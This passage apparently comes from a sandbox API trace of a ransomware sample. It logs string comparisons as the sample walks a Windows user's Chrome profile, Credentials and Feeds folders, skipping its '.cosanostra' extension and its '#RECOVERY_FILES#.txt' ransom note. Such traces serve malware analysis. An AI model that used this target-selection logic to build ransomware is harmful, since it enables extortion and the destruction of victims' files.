Predictor", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Network Action Predictor", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 104 [0087.625] StrStrIW (lpFirst="Network Action Predictor-journal", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Network Action Predictor-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Network Action Predictor-journal", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 112 [0087.625] StrStrIW (lpFirst="Network Persistent State", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Network Persistent State", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Network Persistent State", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 104 [0087.625] StrStrIW (lpFirst="Origin Bound Certs", lpSrch=".cosanostra") returned 0x0 [0087.625] lstrcmpW (lpString1="Origin Bound Certs", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.625] lstrcmpW (lpString1="Origin Bound Certs", lpString2="_uninstalling_.png") returned 1 [0087.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 98 [0087.626] StrStrIW (lpFirst="Origin Bound Certs-journal", lpSrch=".cosanostra") returned 0x0 [0087.626] lstrcmpW (lpString1="Origin Bound Certs-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.626] lstrcmpW (lpString1="Origin Bound Certs-journal", lpString2="_uninstalling_.png") returned 1 [0087.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 106 [0087.626] StrStrIW (lpFirst="Preferences", lpSrch=".cosanostra") returned 0x0 [0087.626] lstrcmpW (lpString1="Preferences", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.626] lstrcmpW (lpString1="Preferences", lpString2="_uninstalling_.png") returned 1 [0087.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 91 [0087.626] StrStrIW (lpFirst="previews_opt_out.db", lpSrch=".cosanostra") returned 0x0 [0087.626] lstrcmpW (lpString1="previews_opt_out.db", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.626] lstrcmpW (lpString1="previews_opt_out.db", lpString2="_uninstalling_.png") returned 1 [0087.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 99 [0087.626] StrStrIW (lpFirst="previews_opt_out.db-journal", lpSrch=".cosanostra") returned 0x0 [0087.626] lstrcmpW (lpString1="previews_opt_out.db-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.626] lstrcmpW (lpString1="previews_opt_out.db-journal", lpString2="_uninstalling_.png") returned 1 [0087.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 107 [0087.626] StrStrIW (lpFirst="QuotaManager", lpSrch=".cosanostra") returned 0x0 [0087.626] lstrcmpW (lpString1="QuotaManager", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.626] lstrcmpW (lpString1="QuotaManager", lpString2="_uninstalling_.png") returned 1 [0087.626] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 92 [0087.642] StrStrIW (lpFirst="QuotaManager-journal", lpSrch=".cosanostra") returned 0x0 [0087.642] lstrcmpW (lpString1="QuotaManager-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.642] lstrcmpW (lpString1="QuotaManager-journal", lpString2="_uninstalling_.png") returned 1 [0087.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 100 [0087.642] StrStrIW (lpFirst="README", lpSrch=".cosanostra") returned 0x0 [0087.642] lstrcmpW (lpString1="README", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.642] lstrcmpW (lpString1="README", lpString2="_uninstalling_.png") returned 1 [0087.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned 86 [0087.642] StrStrIW (lpFirst="Secure Preferences", lpSrch=".cosanostra") returned 0x0 [0087.642] lstrcmpW (lpString1="Secure Preferences", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.642] lstrcmpW (lpString1="Secure Preferences", lpString2="_uninstalling_.png") returned 1 [0087.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 98 [0087.642] StrStrIW (lpFirst="Shortcuts", lpSrch=".cosanostra") returned 0x0 [0087.642] lstrcmpW (lpString1="Shortcuts", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.642] lstrcmpW (lpString1="Shortcuts", lpString2="_uninstalling_.png") returned 1 [0087.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 89 [0087.643] StrStrIW (lpFirst="Shortcuts-journal", lpSrch=".cosanostra") returned 0x0 [0087.643] lstrcmpW (lpString1="Shortcuts-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.643] lstrcmpW (lpString1="Shortcuts-journal", lpString2="_uninstalling_.png") returned 1 [0087.644] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 97 [0087.748] StrStrIW (lpFirst="000003.log", lpSrch=".cosanostra") returned 0x0 [0087.748] lstrcmpW (lpString1="000003.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.748] lstrcmpW (lpString1="000003.log", lpString2="_uninstalling_.png") returned 1 [0087.748] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log") returned 147 [0087.748] StrStrIW (lpFirst="CURRENT", lpSrch=".cosanostra") returned 0x0 [0087.748] lstrcmpW (lpString1="CURRENT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.748] lstrcmpW (lpString1="CURRENT", lpString2="_uninstalling_.png") returned 1 [0087.748] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 144 [0087.748] StrStrIW (lpFirst="LOCK", lpSrch=".cosanostra") returned 0x0 [0087.748] lstrcmpW (lpString1="LOCK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.748] lstrcmpW (lpString1="LOCK", lpString2="_uninstalling_.png") returned 1 [0087.748] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 141 [0087.748] StrStrIW (lpFirst="LOG", lpSrch=".cosanostra") returned 0x0 [0087.748] lstrcmpW (lpString1="LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.748] lstrcmpW (lpString1="LOG", lpString2="_uninstalling_.png") returned 1 [0087.748] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 140 [0087.749] StrStrIW (lpFirst="MANIFEST-000001", lpSrch=".cosanostra") returned 0x0 [0087.749] lstrcmpW (lpString1="MANIFEST-000001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.749] lstrcmpW (lpString1="MANIFEST-000001", lpString2="_uninstalling_.png") returned 1 [0087.749] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 152 [0087.750] StrStrIW (lpFirst="Top Sites", lpSrch=".cosanostra") returned 0x0 [0087.750] lstrcmpW (lpString1="Top Sites", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.750] lstrcmpW (lpString1="Top Sites", lpString2="_uninstalling_.png") returned 1 [0087.750] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 89 [0087.750] StrStrIW (lpFirst="Top Sites-journal", lpSrch=".cosanostra") returned 0x0 [0087.750] lstrcmpW (lpString1="Top Sites-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.750] lstrcmpW (lpString1="Top Sites-journal", lpString2="_uninstalling_.png") returned 1 [0087.750] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 97 [0087.750] StrStrIW (lpFirst="TransportSecurity", lpSrch=".cosanostra") returned 0x0 [0087.750] lstrcmpW (lpString1="TransportSecurity", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.750] lstrcmpW (lpString1="TransportSecurity", lpString2="_uninstalling_.png") returned 1 [0087.750] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 97 [0087.751] StrStrIW (lpFirst="Visited Links", lpSrch=".cosanostra") returned 0x0 [0087.751] lstrcmpW (lpString1="Visited Links", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.751] lstrcmpW (lpString1="Visited Links", lpString2="_uninstalling_.png") returned 1 [0087.751] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 93 [0087.752] StrStrIW (lpFirst="Google Docs.ico", lpSrch=".cosanostra") returned 0x0 [0087.752] lstrcmpW (lpString1="Google Docs.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.752] lstrcmpW (lpString1="Google Docs.ico", lpString2="_uninstalling_.png") returned 1 [0087.752] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 150 [0087.752] StrStrIW (lpFirst="Google Docs.ico.md5", lpSrch=".cosanostra") returned 0x0 [0087.752] lstrcmpW (lpString1="Google Docs.ico.md5", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.752] lstrcmpW (lpString1="Google Docs.ico.md5", lpString2="_uninstalling_.png") returned 1 [0087.752] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 154 [0087.752] StrStrIW (lpFirst="Web Data", lpSrch=".cosanostra") returned 0x0 [0087.753] lstrcmpW (lpString1="Web Data", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.753] lstrcmpW (lpString1="Web Data", lpString2="_uninstalling_.png") returned 1 [0087.753] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 88 [0087.753] StrStrIW (lpFirst="Web Data-journal", lpSrch=".cosanostra") returned 0x0 [0087.753] lstrcmpW (lpString1="Web Data-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.753] lstrcmpW (lpString1="Web Data-journal", lpString2="_uninstalling_.png") returned 1 [0087.753] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 96 [0087.772] StrStrIW (lpFirst="First Run", lpSrch=".cosanostra") returned 0x0 [0087.772] lstrcmpW (lpString1="First Run", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.772] lstrcmpW (lpString1="First Run", lpString2="_uninstalling_.png") returned 1 [0087.772] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 81 [0087.772] StrStrIW (lpFirst="Local State", lpSrch=".cosanostra") returned 0x0 [0087.773] lstrcmpW (lpString1="Local State", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.773] lstrcmpW (lpString1="Local State", lpString2="_uninstalling_.png") returned 1 [0087.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 83 [0087.773] StrStrIW (lpFirst="Safe Browsing Channel IDs", lpSrch=".cosanostra") returned 0x0 [0087.773] lstrcmpW (lpString1="Safe Browsing Channel IDs", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.773] lstrcmpW (lpString1="Safe Browsing Channel IDs", lpString2="_uninstalling_.png") returned 1 [0087.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 97 [0087.773] StrStrIW (lpFirst="Safe Browsing Channel IDs-journal", lpSrch=".cosanostra") returned 0x0 [0087.773] lstrcmpW (lpString1="Safe Browsing Channel IDs-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.773] lstrcmpW (lpString1="Safe Browsing Channel IDs-journal", lpString2="_uninstalling_.png") returned 1 [0087.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 105 [0087.773] StrStrIW (lpFirst="Safe Browsing Cookies", lpSrch=".cosanostra") returned 0x0 [0087.773] lstrcmpW (lpString1="Safe Browsing Cookies", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.773] lstrcmpW (lpString1="Safe Browsing Cookies", lpString2="_uninstalling_.png") returned 1 [0087.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 93 [0087.773] StrStrIW (lpFirst="Safe Browsing Cookies-journal", lpSrch=".cosanostra") returned 0x0 [0087.773] lstrcmpW (lpString1="Safe Browsing Cookies-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.773] lstrcmpW (lpString1="Safe Browsing Cookies-journal", lpString2="_uninstalling_.png") returned 1 [0087.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 101 [0087.776] StrStrIW (lpFirst="IconCache.db", lpSrch=".cosanostra") returned 0x0 [0087.776] lstrcmpW (lpString1="IconCache.db", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.776] lstrcmpW (lpString1="IconCache.db", lpString2="_uninstalling_.png") returned 1 [0087.776] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db") returned 60 [0087.779] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.779] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.779] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.779] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\.") returned 71 [0087.779] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.779] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.779] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.779] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\..") returned 72 [0087.841] StrStrIW (lpFirst="FeedsStore.feedsdb-ms", lpSrch=".cosanostra") returned 0x0 [0087.841] lstrcmpW (lpString1="FeedsStore.feedsdb-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.841] lstrcmpW (lpString1="FeedsStore.feedsdb-ms", lpString2="_uninstalling_.png") returned 1 [0087.841] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 85 [0087.873] StrStrIW (lpFirst="Microsoft at Home~.feed-ms", lpSrch=".cosanostra") returned 0x0 [0087.873] lstrcmpW (lpString1="Microsoft at Home~.feed-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.873] lstrcmpW (lpString1="Microsoft at Home~.feed-ms", lpString2="_uninstalling_.png") returned 1 [0087.873] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 107 [0087.873] StrStrIW (lpFirst="Microsoft at Work~.feed-ms", lpSrch=".cosanostra") returned 0x0 [0087.873] lstrcmpW (lpString1="Microsoft at Work~.feed-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.873] lstrcmpW (lpString1="Microsoft at Work~.feed-ms", lpString2="_uninstalling_.png") returned 1 [0087.873] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 107 [0087.873] StrStrIW (lpFirst="MSNBC News~.feed-ms", lpSrch=".cosanostra") returned 0x0 [0087.873] lstrcmpW (lpString1="MSNBC News~.feed-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.873] lstrcmpW (lpString1="MSNBC News~.feed-ms", lpString2="_uninstalling_.png") returned 1 [0087.873] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 100 [0087.874] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.874] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.874] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\.") returned 105 [0087.874] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.874] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.874] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\..") returned 106 [0087.875] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.875] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.875] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\.") returned 116 [0087.875] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.875] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.875] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\..") returned 117 [0087.875] StrStrIW (lpFirst="Suggested Sites~.feed-ms", lpSrch=".cosanostra") returned 0x0 [0087.875] lstrcmpW (lpString1="Suggested Sites~.feed-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.875] lstrcmpW (lpString1="Suggested Sites~.feed-ms", lpString2="_uninstalling_.png") returned 1 [0087.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 139 [0087.875] StrStrIW (lpFirst="Web Slice Gallery~.feed-ms", lpSrch=".cosanostra") returned 0x0 [0087.875] lstrcmpW (lpString1="Web Slice Gallery~.feed-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.875] lstrcmpW (lpString1="Web Slice Gallery~.feed-ms", lpString2="_uninstalling_.png") returned 1 [0087.875] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 141 [0087.877] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.877] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.877] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.877] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\.") returned 71 [0087.877] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.877] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.877] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.877] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\..") returned 72 [0087.878] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.878] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.878] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\.") returned 80 [0087.878] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.878] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.878] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\..") returned 81 [0087.878] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0087.878] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.878] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0087.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 90 [0087.878] StrStrIW (lpFirst="fwlink[1]", lpSrch=".cosanostra") returned 0x0 [0087.878] lstrcmpW (lpString1="fwlink[1]", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.878] lstrcmpW (lpString1="fwlink[1]", lpString2="_uninstalling_.png") returned 1 [0087.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 88 [0087.878] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.878] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.878] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\.") returned 80 [0087.879] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.879] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.879] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\..") returned 81 [0087.879] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0087.879] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.879] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0087.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 90 [0087.879] StrStrIW (lpFirst="fwlink[1]", lpSrch=".cosanostra") returned 0x0 [0087.879] lstrcmpW (lpString1="fwlink[1]", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.879] lstrcmpW (lpString1="fwlink[1]", lpString2="_uninstalling_.png") returned 1 [0087.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 88 [0087.879] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.879] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.879] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\.") returned 80 [0087.879] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.879] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.879] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\..") returned 81 [0087.879] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.880] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0087.880] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 90 [0087.880] StrStrIW (lpFirst="fwlink[1]", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="fwlink[1]", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.880] lstrcmpW (lpString1="fwlink[1]", lpString2="_uninstalling_.png") returned 1 [0087.880] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.880] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0087.880] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.880] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0087.880] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 